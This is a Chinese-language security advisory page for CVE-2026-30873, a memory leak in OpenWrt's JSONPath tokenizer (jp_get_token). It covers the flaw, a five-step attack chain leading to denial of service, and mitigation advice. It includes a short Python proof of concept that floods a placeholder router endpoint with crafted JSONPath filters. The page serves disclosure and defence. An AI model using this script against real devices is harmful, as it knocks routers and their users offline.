IPBUF安全漏洞报告
English
CVE-2026-30873 CVSS 4.9 中危

CVE-2026-30873 OpenWrt内存泄漏漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-30873
漏洞类型
内存泄漏
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OpenWrt Project

相关标签

内存泄漏DoSOpenWrt嵌入式设备CVSS-4.9

漏洞概述

OpenWrt是一个针对嵌入式设备的Linux操作系统。在24.10.6和25.12.1版本之前,其jp_get_token函数中存在内存泄漏漏洞。该函数负责通过将输入表达式分解为标记来执行词法分析。在提取字符串字面量、字段标签和正则表达式时,使用了动态内存分配。这些提取的结果存储在jp_opcode结构体中,随后通过jp_alloc_op复制到新分配的jp_opcode对象。在此传输过程中,如果先前提取并存储了字符串,它会被复制到新分配的内存中,但原始内存从未被释放,从而导致内存泄漏。

技术细节

该漏洞位于OpenWrt的JSONPath解析器中的jp_get_token函数。该函数在处理输入表达式进行词法分析时,会为识别出的字符串字面量、字段标签和正则表达式动态分配内存,并将这些指针存储在jp_opcode结构体中。当代码调用jp_alloc_op分配新的操作码对象时,会将旧的jp_opcode结构体(包含指向动态分配内存的指针)复制到新的内存区域。然而,问题在于复制操作仅拷贝了指针值,而未释放原始指针指向的内存块,也未建立有效的内存管理机制来接管所有权。由于CVSS向量显示需要高权限(PR:H),攻击者通常需具备管理员级别的网络访问权限。通过反复发送包含特定字符串或正则表达式的恶意JSONPath表达式,攻击者可以触发该漏洞,导致服务器内存持续泄漏而无法回收,最终可能因内存耗尽引发拒绝服务(DoS)。

攻击链分析

STEP 1
侦察
攻击者识别目标设备运行的是受影响版本的OpenWrt(24.10.6之前或25.12.1之前)。
STEP 2
获取权限
利用漏洞需要高权限(PR:H),攻击者首先需要获取目标OpenWrt设备的管理员访问权限或能够提交JSONPath表达式的高权限接口。
STEP 3
漏洞利用
攻击者通过网络向受影响的服务端点发送特制的JSONPath表达式,该表达式包含大量字符串字面量或正则表达式。
STEP 4
内存泄漏
服务端在处理请求时,jp_get_token函数分配内存但未能释放,导致内存泄漏。
STEP 5
拒绝服务
随着攻击者持续发送恶意请求,系统可用内存被耗尽,导致服务崩溃或设备无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-30873 # This script demonstrates how to trigger the memory leak by sending # crafted JSONPath expressions to a vulnerable OpenWrt instance. import requests def trigger_memory_leak(target_url, payload): """ Sends a malicious payload to the target to trigger the memory leak. """ headers = { "Content-Type": "application/json" } # Note: Actual endpoint depends on the specific OpenWrt service using the vulnerable library. # This is a generic example. data = { "filter": payload # Assuming the input goes to the vulnerable jp_get_token function } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Request failed: {e}") if __name__ == "__main__": # Crafted payload containing string literals to trigger allocation in jp_get_token # Repeated complex regex or strings increase the leak rate. malicious_payload = "$.store.book[?(@.category == 'leak_test_string_literal')]" # Replace with actual vulnerable endpoint target = "http://<target-ip>/cgi-bin/luci/admin/vulnerable-endpoint" print("Sending payload to trigger memory leak...") for i in range(100): trigger_memory_leak(target, malicious_payload + str(i))

影响范围

OpenWrt < 24.10.6
OpenWrt < 25.12.1

防御指南

临时缓解措施
在无法立即升级的情况下,应严格限制对OpenWrt设备管理接口的访问权限,确保只有经过授权的管理员才能访问。同时,建议密切监控设备的内存使用情况,一旦发现内存异常飙升,应及时重启相关服务或设备以缓解影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表